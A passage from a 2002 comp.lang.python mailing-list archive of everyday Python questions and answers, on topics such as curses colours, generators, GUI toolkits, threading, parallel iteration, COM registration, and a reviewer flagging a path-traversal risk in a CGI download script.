sys.exit(0) As you can see, I attempt to remove the 'Message-ID' header before exiting 0, which causes qmail to skip to the next line in my .qmail file, which writes the message to my mailbox. However, when the message reaches my mailbox, it still contains 'Message-ID'. The two print statements above show that indeed Message-ID was removed from the headers list, but this isn't showing up in the message. So how is this falling out of sync? I assume because of the exit(0)? Any way to synchronize the rfc822.Message instance with the actual message headers before the program exits? Thanks. From mwh at python.net Wed May 22 06:06:47 2002 From: mwh at python.net (Michael Hudson) Date: Wed, 22 May 2002 10:06:47 GMT Subject: ANSI colored output: How to determine how python was called? References: Message-ID: Pearu Peterson writes: > On 21 May 2002, David M. Cooke wrote: > > > I think what you want is something like: > > > > def term_has_colours(): > > if not sys.stdout.isatty(): > > return 0 > > curses.start_color() > > return curses.has_colors() > > > > curses.wrapper does more than you need. I use something like the above > > in my $PYTHONSTARTUP file to give me a coloured prompt. > > The problem with the above is that it also needs > > curses.initscr() Hmm, has_colors() should probably require that you have called at least setupterm(), not the full initscr(). Would be easy enough to change. > that in my python prompt messed up the terminal completely so that I have > to blindly exit python and reset the terminal. And > > curses.endwin() > > did not fixed the mess up either. > > That's the reason why I ended up with using curses.wrapper that returns > with properly restoring the current terminal. Here's a version of has_colors() that only requires you call setupterm() (newly supported in 2.2): def has_colors_(): return (curses.tigetnum("colors") >= 0 and curses.tigetnum("pairs") >= 0 and ((curses.tigetstr("setf") is not None and curses.tigetstr("setb") is not None) or (curses.tigetstr("setaf") is not None and curses.tigetstr("setab") is not None) or curses.tigetstr("scp") is not None)) It's just a translation of has_colors() from the ncurses source. Cheers, M. -- First time I've gotten a programming job that required a drug test. I was worried they were going to say "you don't have enough LSD in your system to do Unix programming". -- Paul Tomblin -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html From aleax at aleax.it Sat May 11 02:23:30 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 06:23:30 GMT Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> <3CDCB6AF.8030903@horvath.com> Message-ID: Bob Horvath wrote: ... >> def fiveatatime(L): >> L = iter(L) >> while 1: >> yield (L.next(),L.next(),L.next(),L.next(),L.next()) >> >> then call fiveatatime(file) >> >> This will group each five line chunk into a tuple of five strings. >> It will throw away lines at the end that are not a multiple of five -- >> you need to specify more carefully what to do if that is a problem. > > That will indeed work, I think, but I am not sure I understand the end > condition. What happens when you "next()" off of the end? I was > expectin an exception, but it seems to get swallowed. You do get an exception, StopIteration, and the for statement uses that as the indication that iteration is finished. This is how any iterator indicates the end of the iteration, part and parcel of the iterator protocol. Alex From aleax at aleax.it Fri May 10 16:15:32 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 10 May 2002 22:15:32 +0200 Subject: Which GUI Library to Use In-Reply-To: References: Message-ID: <02051022153205.01597@arthur> On Friday 10 May 2002 20:57, Fran?ois Pinard wrote: > [Alex Martelli] > > > IMHO, unless you have problems with the licenses or funding issues, > > Qt is a good choice. [...] Tkinter is OK [...] wxPython was OK [...] > > No opinion on `pygtk'? :-) Never used it, so, no experience, and no interest in remedying that in the foreseeable future. Alex From logiplexsoftware at earthlink.net Fri May 10 14:19:47 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Fri, 10 May 2002 11:19:47 -0700 Subject: accessing serial/parallel port from Python In-Reply-To: References: Message-ID: <20020510111947.4cd11e78.logiplexsoftware@earthlink.net> On Fri, 10 May 2002 18:04:57 +0000 (UTC) Nick Evans wrote: > Hello group, > > Could anyone tell me if it is possable to access the > Physical ports of a computer from python. I have a few electronic projects > that i originally wrote programes in QBasic to access them, but i would like > to start using python. For serial ports take a look at uspp: http://balder.prohosting.com/ibarona/en/python/uspp/uspp_en.html Note that the problem mentioned at the end regarding the inWaiting() function on Linux has a fix (Isaac sent it to me, but apparently it hasn't made it into the distribution yet or the web page is out of date). Regards, -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From dalke at dalkescientific.com Wed May 1 21:39:33 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 1 May 2002 19:39:33 -0600 Subject: comparing str's with ints References: <20020429115856.R1840-100000@palanthas.neverending.org> <83adrmrwge.fsf@panacea.canonical.org> <83n0vjqrv8.fsf@panacea.canonical.org> Message-ID: Kragen: I guess heterogeneous collections are no >longer sortable. I guess that means complex numbers were added after >== and > could raise exceptions. Complex numbers were added a long time ago -- I think in '94 or '95 (it was just when I was starting Python). They didn't raise exceptions until Python 2.1 alpha 1. Here's the change info ] - Complex numbers use rich comparisons to define == and != but raise ] an exception for <, <=, > and >=. Unfortunately, this also means ] that cmp() of two complex numbers raises an exception when the two ] numbers differ. Since it is not mathematically meaningful to compare ] complex numbers except for equality, I hope that this doesn't break ] too much code. Andrew dalke at dalkescientific.com From phlip_cpp at yahoo.com Mon May 27 01:31:28 2002 From: phlip_cpp at yahoo.com (Phlip) Date: 27 May 2002 05:31:28 GMT Subject: Need Help!!! References: Message-ID: Amor wrote: > for i in range(len(werte)): > if werte[i][1] == 0: > pass > else: > q = float(werte[i][1]*100)/anzahl > rela = rela + q > abso = abso + werte[i][1] > > print "\t%s | %8i | %-5.2f | %-5.2f" %(werte[i][0], > werte[i][1], q, rela) > print " ----------+--------------+--------------+-------" > print " SUMME | %8i | " %(abso) Firstly, this is totally procedural code. You need to think about objects; to start, in this program you just need to think what's a good data bucket to use. If a frequency hit was an object, it could look like this: class bucket: pass aBucket = bucket() aBucket.myChar = 'A' aBucket.myFrequency = 0 That's attrocious style, but at least it's not pseudocode. But, most important, you can associate the letter with its frequency. Then as you discover redundant operations on that object you can move the operations into methods of the object with intent-revealing names. Your actual question, however, was how to chart this. Research Python MegaWidgets and Tk's BLT library. Pmw ships with a Blt wrapper that I use all the time at work. -- Phlip http://www.greencheese.org/HatTrick -- "Why have an attention span when you can have a staff [of lawyers]?" -- Ian Sholes -- From spammers.do.not.bother at void.bogus Tue May 28 16:32:13 2002 From: spammers.do.not.bother at void.bogus (Magnus) Date: Tue, 28 May 2002 20:32:13 GMT Subject: threading Message-ID: I have been playing with threading.Thread and I believe I got it working. One thing though is that I would like to be able to kill the threads nicely even if they are in run(). What's the best way to solve this? TIA Magnus From akuchlin at ute.mems-exchange.org Wed May 22 12:18:25 2002 From: akuchlin at ute.mems-exchange.org (A.M. Kuchling) Date: 22 May 2002 16:18:25 GMT Subject: How to create a dynamic lib of Python API ? References: <3ceb6967$0$223$626a54ce@news.free.fr> Message-ID: In article , Oleg Broytmann wrote: > make distclean > OPT="-O2" CC=gcc CFLAGS="-O2" CXX=g++ CXXFLAGS="-O2" LDFLAGS="-s" ./configure I think -fPIC should be added to the CFLAGS, too, to generate relocatable object code. --amk From tim at vegeta.ath.cx Mon May 6 01:52:33 2002 From: tim at vegeta.ath.cx (Tim Hammerquist) Date: Mon, 06 May 2002 05:52:33 GMT Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> <3cd46857$0$8508$cc9e4d1f@news.dial.pipex.com> <3cd77dd6.1099557299@news.dsl.pipex.com> <3cd4edb0$0$230$cc9e4d1f@news.dial.pipex.com> Message-ID: Simon Foster graced us by uttering: > "Tim Hammerquist" wrote: >> Operating under the fairly certain assumption that (2*PI) radians >> = 360 degrees, I simply replace pi with 180 degrees in the classic >> geometric functions. Thus: > > I see what you're driving at, but the fact that 2*pi radians = 360 > degrees still does not change the value of pi (thankfully)! No, pi is thankfully constant. I was just taking a misunderstanding to its illogical conclusion. >> To satisfy your question, however, my value of pi, stored permanently >> in my brain to six significant digits since Mr. Chatfield's calc >> class in high school: 3.14159 ;) > > I have 3.141592653 Nice. Should be more than enough, considering many professors accept (22/3) as a reasonable value (~3.142857...) > C:\>python > Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 > Type "help", "copyright", "credits" or "license" for more information. >>>> from math import pi >>>> pi > 3.1415926535897931 >>>> Anyway, that's what we need! A Python (or, maybe, Ruby) interpreter embedded in our brain. Gods, wouldn't that make bill-paying easier! Tim Hammerquist -- Randal can write one-liners again. Everyone is happy, and peace spreads over the whole Earth. -- Larry Wall in <199705101952.MAA00756 at wall.org> From phd at phd.pp.ru Fri May 24 07:55:45 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Fri, 24 May 2002 15:55:45 +0400 Subject: Iterating through two lists In-Reply-To: <3cee2338_2@news3.newsgroups.com>; from jblazi@hotmail.com on Fri, May 24, 2002 at 01:40:40PM +0200 References: <3cee0ae6_1@news3.newsgroups.com> <3cee2338_2@news3.newsgroups.com> Message-ID: <20020524155545.P5050@phd.pp.ru> On Fri, May 24, 2002 at 01:40:40PM +0200, jb wrote: > Thx. Have you read by any chance Paul Graham's article at > http://www.paulgraham.com/icad.html ? He makes a few remarks as to how Just yesterday I was visiting his page and reading his articles. He is one of the clearest thinkers and writers I've ever saw. > Python is not (yet) sufficient, if I understod correctly. I should be > intrested in a Python expert's opinion on this. Well, rough (if not rude) approximation of his idea is "Python is still not List, and thus is not yet sufficient." Yes, he definitely has good reasons to admire Lisp, but other people may disagree with the idea "whatever is not Lisp is not sufficient". I strongly disagree on practical reason - Python is not my first or my only language (I was using a lot of languages - Fortran, C, Pascal, Perl, assemblers of different processors), and of this list Perl was the ugliest language I used, I have too much problems programming... well, better to say "trying to program in it" - and Python is the most beutiful, the most elegant language, it allows me to program in the most efficient way. Sapienti sat. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From bh at intevation.de Wed May 1 14:39:19 2002 From: bh at intevation.de (Bernhard Herzog) Date: 01 May 2002 20:39:19 +0200 Subject: Python vs. Perl, which is better to learn? References: Message-ID: <6qwuunaf1k.fsf@abnoba.intevation.de> aahz at pythoncraft.com (Aahz) writes: > In article , > Mark McEahern wrote: > > > >What's that saying? It goes something like, > > > >Suppose you have a problem that you think requires regular expressions. Now > >you have two problems. > > 'Some people, when confronted with a problem, think "I know, I'll use regular > expressions". Now they have two problems.' --Jamie Zawinski, comp.lang.emacs TINCLE (There is no comp.lang.emacs) :) At least not on google. And googling for "comp.lang.emacs" only turns up this JWZ citation. The posting was on comp.emacs.xemacs and alt.religion.emacs: http://groups.google.com/groups?selm=33F0C496.370D7C45%40netscape.com Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From sheershion at mailexpire.com Sat May 25 20:08:16 2002 From: sheershion at mailexpire.com (Robert Amesz) Date: Sun, 26 May 2002 00:08:16 -0000 Subject: Iterating through two lists References: <3cee0ae6_1@news3.newsgroups.com> <3cee15ca$0$3878$e4fe514c@dreader4.news.xs4all.nl> Message-ID: Boudewijn Rempt wrote: > jb wrote: > >> I have two lists, x and y with the property len(x) = len(y). >> >> I should like to achive this (x is a list of class instances) >> >> for (a,b) in (x,y): a.f(b) >> >> Is there a fancy way of doing this or have I to introduce an >> auxillary counter (that is very easy but maybe not very "lispy", >> that is "python-like"). >> > > Is this what you want? > >>>> a=[1,2,3] >>>> b=['a','b','c'] >>>> map(None, a, b) > [(1, 'a'), (2, 'b'), (3, 'c')] >>>> for t in map(None, a, b): > ... print t > ... > (1, 'a') > (2, 'b') > (3, 'c') >>>> for i, j in map(None, a, b): > ... print i, j > ... > 1 a > 2 b > 3 c With Python 2.2, you'd expect to be able do things like that with some iterator magic, but oddly enough I couldn't find anything. No matter, I can do that myself: --- cut --- class paralleliter: def __init__(self, *sequences): if not sequences: raise ValueError("Nothing to iterate over") self.iterators = map(iter, sequences) def __iter__(self): return self def next(self): return [x.next() for x in self.iterators] l1 = [1, 2, 3] l2 = ['a', 'b', 'c'] for r in paralleliter(l1, l2): print r --- cut --- This results in: [1, 'a'][2, 'b'][3, 'c'] You might argue that paralleliter should raise an exception when sequences are of unequal length. Well, this isn't terribly hard to implement, even though you _cannot_ use len() to test this, because iterators have no predetermined length. However, the code loses a lot of its elegance this way: --- cut --- class paralleliter2: def __init__(self, *sequences): if not sequences: raise ValueError("Nothing to iterate over") self.iterators = map(iter, sequences) def __iter__(self): return self def next(self): result = [] for x in self.iterators: try: result.append(x.next()) except StopIteration: pass if len(result) == 0: raise StopIteration if len(result) <> len(self.iterators): raise ValueError("Sequences are of unequal length") return result --- cut --- Personally, I'd like this type of parallel iterator (and perhaps a serial one, too) to be added to the set of builtin functions: this type of iteration comes up time and time again in this newsgroup, and it would be nice to have a universal and canonical way to settle it once and for all. Robert Amesz From claird at starbase.neosoft.com Sun May 5 00:44:41 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 4 May 2002 23:44:41 -0500 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> Message-ID: <1973EB72E5CE896A.E0B7C1131D78B3D3.8414FFB2D66513D4@lp.airnews.net> In article , Christopher Browne wrote: . . . >Your list should also include Ruby, and it's probably also worth >taking a _quick_ look at REXX which is more mature than any of the >other options out there. (I first ran into REXX back before Perl >existed as a language; it was vastly preferable to EXEC2, which was >the typical alternative...) . . . But Rexx still doesn't have ("native") COM or SOAP facilities, right? My speculation about the original questioner's circumstances is that he'll love all the access Mark-assisted Python gives him to Win* innards, to the point that, even apart from Python's other virtues, he's certain to prefer it on that ground alone to Rexx. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From cliechti at gmx.net Thu May 9 21:04:17 2002 From: cliechti at gmx.net (Chris Liechti) Date: 10 May 2002 03:04:17 +0200 Subject: downloading cgi advice References: <3CDAFA76.9050508@nmt.edu> Message-ID: Jeff Shipman wrote in news:3CDAFA76.9050508 at nmt.edu: > I've got a cgi which handles downloading > files to a person's computer. Files of > type .tar.gz and .exe go through this CGI. > These are some snippets I have from the > program: > > # Determine size of file > try: > s = os.stat(BASEDIR+'/'+loc) use os.path.join for a platform independant, secure join of paths. depending of where you get "loc" from, this can be a security hole here. you should make sure that you don't have any '..' in the string as otherwise one could access all files on the server. one possibility is that you calculate the path using os.path.join and then check it with os.path.commonprefix if its still in your BASEDIR. (assuming BASEDIR is an absolute path, call os.path.abspath on it otherwise) > size = int(s[6]) > except OSError: > errmsg('Couldn\'t stat() file!') > except: > errmsg('Unexpected error while calling stat()!') > > > # Initiate download > logline = 'Host: %s - Initiating download for file %s of %d bytes.' \ > % (gethost(), loc, size) > log(logline) > print 'Content-disposition: attachment; filename=%s\n'\ > 'Content-type: application/octet-stream\n'\ > 'Content-length: %d\n' % (loc, size) you do have an empty line here to mark the end of headers. i just would spell it out more visible (you know when you later come back to the script and chage something...) > try: > file = open(BASEDIR+'/'+loc, 'rb') > except: > errmsg('Couldn\'t access download file!') this message probaly gets a screwed look or gets downloaded because you've already sent the headers for the download but you probably won't get that message at all beacuse the stat above make sure that the file is there. (except an other proccess is writing to the file, which would cause an error) > sys.stdout.write(file.read(size)) this works of course, but it can get very resource intensive as you're loading the entire file into memory. you should consider reading in blocks and call sys.stdout.flush() often. > file.close() > > This seems to work fine, but I'm just wanting > to make sure that I'm not doing anything that > could be wrong here. > > Thanks in advance for any advice! HTH chris -- Chris From bhoel at web.de Wed May 29 17:50:06 2002 From: bhoel at web.de (Berthold Höllmann) Date: 29 May 2002 23:50:06 +0200 Subject: #!/bin/env problem Was: Re: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> <3CF3F37B.CF1DCCA@noaa.gov> Message-ID: Oleg Broytmann writes: > On Tue, May 28, 2002 at 02:43:53PM -0700, Dave Kuhlman wrote: > > I typically start my scripts with a first line like the following: > > > > #! /usr/bin/env python > > > > Quite a few files in Python2.2.1/Lib do likewise. > > > > Parsing the #! header is the job of the OS kernel, and all unicies do it > in the very simple way - they split the header into an interpreter > (/usr/bin/env, in this case) and its flags (python -t). Flags ARE NOT > SUPPOSED to have spaces, and are apssed to the interpreter as is. > > So the only way is to write > > #! /usr/local/bin/python -O > > as I always do. > > If you want to distribute the script and worry about portability problem > - write setup.py and use "script" option. Distutils rocks! Only as long as you don't fiddle with the installation to support multiple architectures. If you install Python using different argunents for the configure options --prefix and --exec-prefix to put all achitecture independent files into one directory, installing scripts using distutils becomes a problem. Distutils will replace the #! line with the path to the interpreter for the architecture you are doing the install, but installs the script into the acrchitecture independent bin directory. That is a bad idea. Installing them into the architecture dependent directory is not much better when the script is subject to changes because the install has to be done for all architectures you support, but the idea of the --prefix/--exec-prefix was to make support for different architectures easier. Greetings Berthold -- bhoel at web.de / http://starship.python.net/crew/bhoel/ It is unlawful to use this email address for unsolicited ads (USC Title 47 Sec.227). I will assess a US$500 charge for reviewing and deleting each unsolicited ad. From whisper at oz.net Wed May 15 03:45:39 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 00:45:39 -0700 Subject: A pure Python solution that works like expect ???? In-Reply-To: <20020515041745.237.qmail@web20901.mail.yahoo.com> Message-ID: "PySSH is a Python library for programmatically controlling ssh and scp." http://pyssh.sourceforge.net/ David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Lance Ellinghaus > Sent: Tuesday, May 14, 2002 21:18 > To: python-list at python.org > Subject: A pure Python solution that works like expect ???? > > > I am looking for a pure python solution that works like expect. > I was looking at the Python FAQ and found a reference to PIPE by John > Croix. The link that it gives is no longer valid. > Does anyone know how to get a hold of this or something that will work > the same way? > I need to connect to a SSH session. Is there an alternative that I am > overlooking? > > Thank you, > Lance Ellinghaus > > > ===== > -- > Lance Ellinghaus > > __________________________________________________ > Do You Yahoo!? > LAUNCH - Your Yahoo! Music Experience > http://launch.yahoo.com > > > -- > http://mail.python.org/mailman/listinfo/python-list From loewis at informatik.hu-berlin.de Tue May 7 12:48:05 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 07 May 2002 18:48:05 +0200 Subject: survey: is shelve broken? should it be fixed? References: Message-ID: Alex Martelli writes: > > I wouldn't call the feature 'smart', but rather describe somehow what > > it does, > > What it does it "avoid laying a trap for the user by having a behavior > that tends to be rather surprising". But that's rather longish Also, you should strive for the most specific description of what it does. 'enhance python' is a description of many changes, yet people rarely suggest 'enhance' as a parameter name. Regards, Martin From cliechti at gmx.net Sat May 25 11:18:57 2002 From: cliechti at gmx.net (Chris Liechti) Date: 25 May 2002 17:18:57 +0200 Subject: checking wether string needs base64-encoding or not References: <3CEF984D.8FE17EE@stud.ntnu.no> Message-ID: Bj?rn Ove =?iso-8859-1?Q?Gr=F8tan?= wrote in news:3CEF984D.8FE17EE at stud.ntnu.no: > Can somebody help me with example on how to check if string > contains characters which needs to be base64-encoded mystr = "Wie w?rs mit einem test?" #8 bit data if filter(lambda x: x>'\x7f', mystr): print "contains 8 bit data" else: print "no more tahan seven bits" chris -- Chris From mhammond at skippinet.com.au Mon May 6 21:11:10 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Tue, 07 May 2002 01:11:10 GMT Subject: Newbie COM problem References: <3CD5E5F4.C7DD3B50@irl.cri.nz> Message-ID: <3CD729DA.1040104@skippinet.com.au> Blair Hall wrote: > Now when I execute this script I get the following message > > >>>>Registering COM >>> > Warning: Can not locate a host .EXE for the COM server > The server will not be registered with LocalServer32 support.Registered: > PythonDemos.Utilities > > Can anyone explain what might have gone wrong? It is likely that you are doing this from pythonwin. Try running it from a Command Prompt using python.exe. I have just fixed the COM registration code to do a better job at finding pythonw.exe, so it should work fine from Pythonwin in the next version. Mark. From mal at lemburg.com Sat May 4 14:05:49 2002 From: mal at lemburg.com (M.-A. Lemburg) Date: Sat, 04 May 2002 20:05:49 +0200 Subject: Ways to get number of seconds from Epoch References: Message-ID: <3CD422FD.E6F287EE@lemburg.com> Mark McEahern wrote: > > Mark, > > Regarding this format: > > [15/Apr/2002:08:28:56 +0200] > > I wrote: > > > That format seems a little odd: > > [brueckd at tbye.com] replied: > > It is a little odd, but it's also how Common Log Format does timestamps: > > > > http://www.bacuslabs.com/WsvlCLF.html It's an odd format indeed... I wonder why people have to reinvent new date formats all the time, the ISO format is both eas to read and easy to parse. > When you use mx.DateTime.DateTimeFrom on that format, here's what happens: > > >>> from mx.DateTime import DateTimeFrom > >>> s = "[15/Apr/2002:08:28:56 +0200]" > >>> dt = DateTimeFrom(s) > >>> str(dt) > '2002-04-01 02:08:28.00' > > So my question is whether that's a format mx.DateTime should support? It's > easy enough to massage the data so that it's in a more recognizable format > before passing it to mx.DateTime. > > I'm not personally invested in the answer, I just wanted to alert you to a > question that came up on c.l.py. I'll see whether the parse can be extended to support this format as well. The usual problem with this is that it support *very* many different formats (including partially broken ones), so extending it is not as easy as you might expect. -- Marc-Andre Lemburg CEO eGenix.com Software GmbH ______________________________________________________________________ Company & Consulting: http://www.egenix.com/ Python Software: http://www.egenix.com/files/python/ From seraphim at linuxmail.org Sun May 26 17:15:33 2002 From: seraphim at linuxmail.org (seraphim) Date: 26 May 2002 14:15:33 -0700 Subject: Need help starting to learn Python. Message-ID: <63f2fcbe.0205261315.724c97ad@posting.google.com> Hello, I am very interested in learning how to use Python. A while back I became interested in learning it, but could not find resources in to do so. My friend let me borrow his C book and I have got a little into that, but as I was reading the statement about RC1 of Slackware 8.1, I noticed a link to comp.lang.python. I decided to check it out. In doing so my interest in Python has been spurred again. I was hoping that someone here could point me to a really nice website to learn Python with, like a tutorial. Also, book suggestions would be nice. Please email me your links or reply to this post. seraphim at linuxmail.org seraphim From rjones at ekit-inc.com Sun May 26 18:42:23 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Mon, 27 May 2002 08:42:23 +1000 Subject: Again: gadfly + py2exe HELP really needed In-Reply-To: References: Message-ID: <200205270842.23331.rjones@ekit-inc.com> On Sun, 26 May 2002 19:21, Max wrote: > Hi everybody. Excuse me for bothering again with an old question... but i > still can't solve my problem. > The problem is that i can't make a windows exe (with py2exe 0.3.3) because > the exe form of the program (wich runs perfectly under interpreter) exits > when i try to ask: > > mydb = gadfly.gadfly() Sorry, I have no clues about py2exe. I don't have a windows machine to test py2exe on. Have you examined the imports using "python -v"? Have you contacted the py2exe author? > I supposed the problem could be some module not imported automatically by > py2exe, but i tried many modules (md5, marshal, string, re (sre, pre), > types, socket, select) with NO success at all! > py2exe, however, gives me the following error: > > copying C:\Python22\lib\site-packages\gadfly\kjbuckets.pyd -> > dist\SMPNotaMain Try not including the kjbuckets C module. It is optional - it gives a speedup but if you can get gadfly working without it, that's a start! Richard From tim.one at comcast.net Tue May 21 19:27:27 2002 From: tim.one at comcast.net (Tim Peters) Date: Tue, 21 May 2002 19:27:27 -0400 Subject: apphelp.dll dependency of python22.dll In-Reply-To: Message-ID: [Achim Domma] > on Windows the python22.dll (from ActiveState and python.org) depends > on apphelp.dll, which is WinXP specific. In 'normal' use, this seems to > be no problem, because the dll is delay-loaded, but if I try to import > my own extension it fails. Has somebody the same problem? Sorry, never heard of this before. > Can somebody tell me, on which plattform these both version have been > compiled? The PythonLabs python22.dll was built on a Win98SE box. This is no apphelp.dll on the box, and Dependency Walker shows no such dependence. From jjl at pobox.com Sat May 25 13:30:39 2002 From: jjl at pobox.com (John J. Lee) Date: Sat, 25 May 2002 18:30:39 +0100 Subject: accessing IE history with python... In-Reply-To: <3cef8519$0$29613$4c56ba96@master.news.zetnet.net> References: <3cef8519$0$29613$4c56ba96@master.news.zetnet.net> Message-ID: On Sat, 25 May 2002, Adam wrote: [...] You may be able to do what you need through IE's COM interfaces. John From grante at visi.com Thu May 30 10:55:12 2002 From: grante at visi.com (Grant Edwards) Date: Thu, 30 May 2002 14:55:12 GMT Subject: Why no open(f, "w").write()? References: <7iadqi9wt2.fsf@enark.csis.hku.hk> Message-ID: In article <7iadqi9wt2.fsf at enark.csis.hku.hk>, Isaac To wrote: >>>>>> "Grant" == Grant Edwards writes: > > >> The question is: When does the file get closed? > > Grant> Sometime before the program exits. > > Wrong. Sometime when the garbage collector is executed, or never if the > garbage collector never choose to collect that. I know of no OS that doesn't close the file when the process terminates. -- Grant Edwards grante Yow! I'm also pre-POURED at pre-MEDITATED and visi.com pre-RAPHAELITE!! From larooy at xtar.co.nz Mon May 20 14:23:15 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Tue, 21 May 2002 06:23:15 +1200 Subject: "One Bullet is never enough" Paper References: <3CE5AFD3.32D59F@tundraware.com> <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> Message-ID: <20020521062315.110c3662.larooy@xtar.co.nz> What makes you think they would follow their own standards? Who is going to slap their fingers when they start adding non-standard extensions? Which they will of course get away with when 90% of the developers get to play with the new toys. It'll be the java debacle all over with noone to answer to at all. John On Mon, 20 May 2002 18:44:01 +1000 "Patrick" wrote: > > "phil hunt" wrote in message > news:slrnaeh8il.gf3.philh at comuno.freeserve.co.uk... > > > > To the best of my knowledge(*), C# is the only high-level language > > designed explicitly to lock programmers in to a vendor. > > Submitting the language to a standards body and opening it up to other > implementors is hardly a clever way to lock programmers into a specific > vendor. > > C# has been standardised by ECMA, which leaves anyone free to provide their > own implementation. http://www.ecma.ch/ecma1/STAND/ecma-334.htm > > At least one non-Microsoft implementation of C# already exists: > http://www.go-mono.org > > > > From dalke at dalkescientific.com Wed May 1 05:26:48 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 1 May 2002 03:26:48 -0600 Subject: Python vs. Perl, which is better to learn? References: Message-ID: Alex: > >>> a35=re.compile('^a{3,5}$') > ... > >>> print a35.match('aaaaa') > <_sre.SRE_Match object at 0x8186960> > >>> print a35.match('aaaaaa') > None > >>> > > Python re's imitate Perl's closely enough that this is a rather unPythonic > arrangement -- the upper bound is *included* (Python's ranges, slices etc > have lower-bound-included, upper-bound-excluded...). But it isn't a range, it's a repeat count. Otherwise people would also expect ^a{0} to match "" because that contains 0 "a"s. As such, it's much more similar to "a" * 3 == "aaa" "a" * 5 == "aaaaa" Andrew dalke at dalkescientific.com From martin at v.loewis.de Thu May 2 14:29:45 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 02 May 2002 20:29:45 +0200 Subject: Killing a running thread References: <5F5E25C9F098D3119F140008C784457304DFD0D1@tdi_nt9.tdi.co.uk> <20020502131214.GI13641@teich.Garten.DigitalProjects.com> <20020502100911.A16352@eecs.tufts.edu> Message-ID: Alexander Skwar writes: > Yes, that's for the easy case of the readline loop. However, how could > I break up a file.write() or a map()? For a map call, you need to check inside the callback function for a flag. There is no way to get out of a file.write; you may try to use a non-blocking write operation. Regards, Martin From drt-usenet at un.bewaff.net Tue May 28 17:38:59 2002 From: drt-usenet at un.bewaff.net (drt) Date: 28 May 2002 14:38:59 -0700 Subject: Unix file(1) command identifing .pyc Message-ID: <67bc282e.0205281338.707d9664@posting.google.com> The Unix file command identifies the type of a file using, among other tests, a test for whether the file begins with a certain magic number. The actual version (3.38) can't identify compiled python code. I have added the macic numbers for python and successfully tested on 2.2.1 and 2.1.3 on i386 and PowerPC machines. Perhaps somebody has acient Python versions or unusual machines to further test this. The magic file can be found at http://c0re.jp/c0de/misc/file-3.38-magic-python Usage example: $ curl -O http://c0re.jp/c0de/misc/file-3.38-magic-python $ file -m file-3.38-magic-python /usr/local/lib/python*/cgi.pyc file: Using regular magic file `file-3.38-magic-python' /usr/local/lib/python2.1/cgi.pyc: python 2.1.x compiled bytecode /usr/local/lib/python2.2/cgi.pyc: python 2.2.x compiled bytecode $ drt From wurmy at earthlink.net Sat May 4 21:38:14 2002 From: wurmy at earthlink.net (Hans Nowak) Date: Sun, 05 May 2002 01:38:14 GMT Subject: Problem with Regular Expressions? References: <304d20df.0205041256.5230d2ae@posting.google.com> Message-ID: <3CD48DE6.D6FBA5A6@earthlink.net> Allan Crooks wrote: > I was wondering if anyone could tell me if what I want to do is > possible with a solitary single expression? > > I have a webpage that I want to process, which contains multiple > 's. I want to find a particular table, which will contains a > particular word. I want to be able to return each row in the table. > > The regular expression would probably have to match the entire table, > with grouping needing to be used to capture each row. Using a regular expression for this probably isn't a good idea. Take a look at the sgmllib and htmllib modules in the standard library for a different approach. -- Hans (base64.decodestring('d3VybXlAZWFydGhsaW5rLm5ldA==')) # decode for email address ;-) The Pythonic Quarter:: http://www.awaretek.com/nowak/ From BgPorter at NOartlogicSPAM.com Fri May 3 14:58:34 2002 From: BgPorter at NOartlogicSPAM.com (Brett g Porter) Date: Fri, 03 May 2002 18:58:34 GMT Subject: Python vs. Perl, which is better to learn? References: <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: "Christopher Browne" wrote in message news:aaufo1$dlkjm$1 at ID-125932.news.dfncis.de... > PL/1 was evidently _vastly_ superior to C++, by the way; after all, > what important operating systems ever got implemented in C++? Come, now. The first external release of C++ was in Feb of 1985. What 'important operating systems' have been written since 1985? BeOS was all C++, AFAIK. Certainly much of the Windows codebase is in C++ now (never having seen the source, I can only guess). From SSchukat at dspace.de Thu May 23 03:12:06 2002 From: SSchukat at dspace.de (Stefan Schukat) Date: Thu, 23 May 2002 08:12:06 +0100 Subject: PythonCOM Problem: Automating WinFAX from Python Message-ID: <84257D042AA7D411B3F700D0B7DB9B7C13B14C@PDC-DSPACE> Hi Tino, this is a property with an parameter. Since in Python is no concept like call by reference. You have to use the makepy generated wrapper (Either by makepy or EnsureDispatch) to call such a function. This wrapper translates the call to: >>> Result, Status = appObj.GetAutoRecieve(Device, Status) Why there is a typeerror depends on the implementing object. I must have a look at the makepy wrapper to tell you more. Stefan -----Original Message----- From: Tino Lange [mailto:tl_news at nexgo.de] Sent: Wednesday, May 22, 2002 7:15 PM To: Stefan Schukat Subject: Re: PythonCOM Problem: Automating WinFAX from Python On Wed, 22 May 2002 08:51:33 +0100, Stefan Schukat 